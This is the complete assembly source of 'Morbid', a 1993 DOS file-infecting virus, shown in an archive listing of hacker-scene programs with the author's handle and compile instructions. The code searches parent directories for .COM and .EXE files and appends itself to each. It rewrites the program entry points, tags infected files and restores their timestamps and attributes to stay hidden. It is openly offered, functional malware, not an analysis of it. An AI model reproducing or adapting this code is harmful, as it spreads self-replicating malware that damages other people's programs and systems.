home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / IVUPDAT2.ZIP / IVPMORBD.ZIP / IVPMORBD.ASM next >
Assembly Source File  |  1993-12-14  |  13KB  |  323 lines

  1. ;%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%
  2. ;  /\/\orbid virus written by Gφd εà┼ër [RöD/£φτΣ] %
  3. ;  To compile this ya gotta use TASM /M Morbid.asm %
  4. ;%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%+%
  5.  
  6. code    segment public 'code'
  7.         assume  cs:code
  8.         org     100h                              ; All .COM files start here
  9.  
  10. ID = 'AB'                                         ; Id for infected files
  11.  
  12. start:
  13.         db 0e9h,0,0                               ; Jump to the next command
  14.  
  15. virus:
  16.         call    realcode                          ; Push current location on stack
  17. realcode:
  18.         nop
  19.         nop
  20.         pop     bp                                ; Get location off stack
  21.         nop
  22.         sub     bp,offset realcode                ; Adjust it for our pointer
  23.         nop
  24.         nop
  25.         nop
  26.         nop
  27.         nop
  28.         cmp     sp,id                             ; COM or EXE?
  29.         je      restoreEXE
  30.  
  31.         lea     si,[bp+offset oldjump]            ; Location of old jump in si
  32.         mov     di,100h                           ; Location of where to put it in di
  33.         push    di                                ; Save so we can return when done
  34.         movsb                                     ; Move a byte
  35.         movsw                                     ; Move a word
  36.         jmp     exitrestore
  37.  
  38. restoreEXE:
  39.         push    ds                                ; Save ExE ds
  40.         push    es                                ; Save ExE es
  41.         push    cs
  42.         pop     ds                                ; DS now equals CS
  43.         push    cs
  44.         pop     es                                ; ES now equals CS
  45.         lea     si,[bp+jmpsave2]
  46.         lea     di,[bp+jmpsave]
  47.         movsw                                     ; Move a word
  48.         movsw                                     ; Move a word
  49.         movsw                                     ; Move a word
  50.         movsw                                     ; Move a word
  51.  
  52. ExitRestore:
  53.         lea     dx,[bp+offset dta]                ; Where to put New DTA
  54.         call    set_DTA                           ; Move it
  55.  
  56.         mov     ax,3524h                          ; Get int 24 handler
  57.         int     21h                               ; To ES:BX
  58.         mov     word ptr [bp+oldint24],bx         ; Save it
  59.         mov     word ptr [bp+oldint24+2],es
  60.  
  61.         mov     ah,25h                            ; Set new int 24 handler
  62.         lea     dx,[bp+offset int24]              ; DS:DX->new handler
  63.         int     21h
  64.  
  65.         push    cs                                ; Restore ES
  66.         pop     es                                ; because it was changed
  67.  
  68.         mov     ah,47h                            ; Get the current directory
  69.         mov     dl,0h                             ; On current drive
  70.         lea     si,[bp+offset currentdir]         ; Where to keep it
  71.         int     21h
  72.  
  73. dirloop:
  74.         lea     dx,[bp+offset exefilespec]
  75.         call    findfirst
  76.         lea     dx,[bp+offset comfilespec]
  77.         call    findfirst
  78.  
  79.         lea     dx,[bp+offset directory]          ; Where to change too '..'
  80.         mov     ah,3bh                            ; Change directory
  81.         int     21h
  82.         jnc     dirloop                           ; If no problems the look for files
  83.  
  84.         mov     ah,9                              ; Display string
  85.         lea     dx,[bp+virusname]
  86.         int     21h
  87.  
  88.         mov     ax,2524h                          ; Restore int 24 handler
  89.         lds     dx,[bp+offset oldint24]           ; To original
  90.         int     21h
  91.  
  92.         push    cs
  93.         pop     ds                                ; Do this because the DS gets changed
  94.  
  95.         lea     dx,[bp+offset currentdir]         ; Location Of original dir
  96.         mov     ah,3bh                            ; Change to there
  97.         int     21h
  98.  
  99.         mov     dx,80h                            ; Location of original DTA
  100.         call    set_dta                           ; Put it back there
  101.  
  102.         cmp     sp,id-4                           ; EXE or COM?
  103.         jz      returnEXE
  104.  
  105.         retn                                      ; Return to 100h to original jump
  106.  
  107. ReturnEXE:
  108.         pop     es                                ; Get original ES
  109.         pop     ds                                ; Get original DS
  110.  
  111.         mov     ax,es
  112.         add     ax,10h
  113.         add     word ptr cs:[bp+jmpsave+2],ax
  114.         add     ax,word ptr cs:[bp+stacksave+2]
  115.         cli                                       ; Clear int's because of stack manipulation
  116.         mov     sp,word ptr cs:[bp+stacksave]
  117.         mov     ss,ax
  118.         sti
  119.         db      0eah                              ; Jump ssss:oooo
  120. jmpsave dd      ?                                 ; Jump location
  121. stacksave dd    ?                                 ; Original cs:ip
  122. jmpsave2 dd     0fff00000h                        ; Used with carrier file
  123. stacksave2 dd   ?
  124.  
  125. findfirst:
  126.         mov     ah,4eh                            ; Find first file
  127.         mov     cx,7                              ; Find all attributes
  128.  
  129. findnext:
  130.         int     21h                               ; Find first/next file int
  131.         jc      quit                              ; If none found then change dir
  132.  
  133.         call    infection                         ; Infect that file
  134.  
  135. Findnext2:
  136.         mov     ah,4fh                            ; Find next file
  137.         jmp     findnext                          ; Jump to the loop
  138.  
  139. quit:
  140.         ret
  141.  
  142. infection:
  143.         mov     ax,3d00h                          ; Open file for read only
  144.         call    open
  145.  
  146.         mov     ah,3fh                            ; Read from file
  147.         mov     cx,1ah
  148.         lea     dx,[bp+offset buffer]             ; Location to store them
  149.         int     21h
  150.  
  151.         mov     ah,3eh                            ; Close file
  152.         int     21h
  153.  
  154.         cmp     word ptr [bp+buffer],'ZM'         ; EXE?
  155.         jz      checkEXE                          ; yes it is...
  156.         mov     ax,word ptr [bp+DTA+35]           ; Get end of file name in ax
  157.         cmp     ax,'DN'                           ; Does End in comma'ND'? (reverse order)
  158.         jz      quitinfect                        ; Yes so it's no good
  159.  
  160. CheckCom:
  161.         mov     bx,[bp+offset dta+1ah]            ; Get file size
  162.         mov     cx,word ptr [bp+buffer+1]         ; Get jump loc of file
  163.         add     cx,eof-virus+3                    ; Add for virus size
  164.  
  165.         cmp     bx,cx                             ; Does file size=file jump+virus size
  166.         jz      quitinfect                        ; Yes then get another file
  167.         jmp     infectcom
  168.  
  169. CheckExe:
  170.         cmp     word ptr [bp+buffer+10h],id       ; Check EXE for infection
  171.         jz      quitinfect                        ; Already infected so close up
  172.         jmp     infectexe
  173.  
  174. quitinfect:
  175.         ret
  176.  
  177. InfectCom:
  178.         sub     bx,3                              ; Adjust for new jump
  179.         lea     si,[bp+buffer]
  180.         lea     di,[bp+oldjump]
  181.         movsw
  182.         movsb
  183.         mov     [bp+buffer],byte ptr 0e9h
  184.         mov     word ptr [bp+buffer+1],bx         ; Save for later
  185.  
  186.         mov     cx,3                              ; Number of bytes to write
  187.  
  188.         jmp     finishinfection
  189. InfectExe:
  190.         les     ax,dword ptr [bp+buffer+14h]      ; Load es with seg address
  191.         mov     word ptr [bp+jmpsave2],ax         ; save old cs:ip
  192.         mov     word ptr [bp+jmpsave2+2],es
  193.  
  194.         les     ax,dword ptr [bp+buffer+0eh]      ; save old ss:sp
  195.         mov     word ptr [bp+stacksave2],es       ; save old cs:ip
  196.         mov     word ptr [bp+stacksave2+2],ax
  197.  
  198.         mov     ax, word ptr [bp+buffer+8]        ; get header size
  199.         mov     cl,4
  200.         shl     ax,cl
  201.         xchg    ax,bx
  202.         les     ax,[bp+offset DTA+26]             ; get files size from dta
  203.         mov     dx,es                             ; its now in dx:ax
  204.         push    ax                                ; save these
  205.         push    dx
  206.  
  207.         sub     ax,bx                             ; subtract header size from fsize
  208.         sbb     dx,0                              ; subtract the carry too
  209.         mov     cx,10h                            ; convert to segment:offset form
  210.         div     cx
  211.  
  212.         mov     word ptr [bp+buffer+14h],dx       ; put in new header
  213.         mov     word ptr [bp+buffer+16h],ax       ; cs:ip
  214.  
  215.         mov     word ptr [bp+buffer+0eh],ax       ; ss:sp
  216.         mov     word ptr [bp+buffer+10h],id       ; put id in for later
  217.         pop     dx                                ; get the file length back
  218.         pop     ax
  219.  
  220.         add     ax,eof-virus                      ; add virus size
  221.         adc     dx,0                              ; add with carry
  222.  
  223.         mov     cl,9                              ; calculates new file size
  224.         push    ax
  225.         shr     ax,cl
  226.         ror     dx,cl
  227.         stc
  228.         adc     dx,ax
  229.         pop     ax
  230.         and     ah,1
  231.  
  232.         mov     word ptr [bp+buffer+4],dx         ; save new file size in header
  233.         mov     word ptr [bp+buffer+2],ax
  234.  
  235.         push    cs                                ; es = cs
  236.         pop     es
  237.  
  238.         mov     cx,1ah                            ; Number of bytes to write (Header)
  239. FinishInfection:
  240.         push    cx                                ; save # of bytes to write
  241.         xor     cx,cx                             ; Set attriutes to none
  242.         call    attributes
  243.  
  244.         mov     al,2                              ; open file read/write
  245.         call    open
  246.  
  247.         mov     ah,40h                            ; Write to file
  248.         lea     dx,[bp+buffer]                    ; Location of bytes
  249.         pop     cx                                ; Get # of bytes to write
  250.         int     21h
  251.         jc      closefile
  252.  
  253.         mov     al,02                             ; Move Fpointer to eof
  254.         Call    move_fp
  255.  
  256.         mov     ah,40h                            ; Write virus to file
  257.         mov     cx,eof-virus                      ; Size of virus
  258.         lea     dx,[bp+offset virus]              ; Location to start from
  259.         int     21h
  260.  
  261. closefile:
  262.         mov     ax,5701h                          ; Set files date/time back
  263.         mov     cx,word ptr [bp+dta+16h]          ; Get old time from dta
  264.         mov     dx,word ptr [bp+dta+18h]          ; Get old date
  265.         int     21h
  266.  
  267.         mov     ah,3eh                            ; Close file
  268.         int     21h
  269.  
  270.         xor     cx,cx
  271.         mov     cl,byte ptr [bp+dta+15h]          ; Get old Attributes
  272.         call    attributes
  273.  
  274.         retn
  275.  
  276. move_fp:
  277.         mov     ah,42h                            ; Move file pointer
  278.         xor     cx,cx                             ; Al has location
  279.         xor     dx,dx                             ; Clear these
  280.         int     21h
  281.         retn
  282.  
  283. set_dta:
  284.         mov     ah,1ah                            ; Move the DTA location
  285.         int     21h
  286.         retn
  287.  
  288. open:
  289.         mov     ah,3dh                            ; open file
  290.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  291.         int     21h
  292.         xchg    ax,bx                             ; file handle in bx
  293.         ret
  294.  
  295. attributes:
  296.         mov     ax,4301h                          ; Set attributes to cx
  297.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  298.         int     21h
  299.         ret
  300. int24:                                            ; New int 24h (error) handler
  301.         mov     al,3                              ; Fail call
  302.         iret                                      ; Return from int 24 call
  303.  
  304. Virusname db 'Morbid',10,13                       ; 
  305. Author    db 'Gφd εà┼ër',10,13                    ; 
  306. Group     db 'RöD',10,13                          ;
  307.  
  308. comfilespec  db  '*.com',0                        ; Holds type of file to look for
  309. exefilespec  db  '*.exe',0                        ; Holds type of file to look for
  310. directory    db '..',0                            ; Directory to change to
  311. oldjump      db  0cdh,020h,0h                     ; Old jump.  Is int 20h for file quit
  312.  
  313. eof     equ     $                                 ; Marks the end of file
  314.  
  315. currentdir db   64 dup (?)                        ; Holds the current dir
  316. dta     db      42 dup (?)                        ; Location of new DTA
  317. buffer db 1ah dup (?)                             ; Holds exe header
  318. oldint24 dd ?                                     ; Storage for old int 24h handler
  319.  
  320. code    ends
  321.         end     start
  322.  
  323.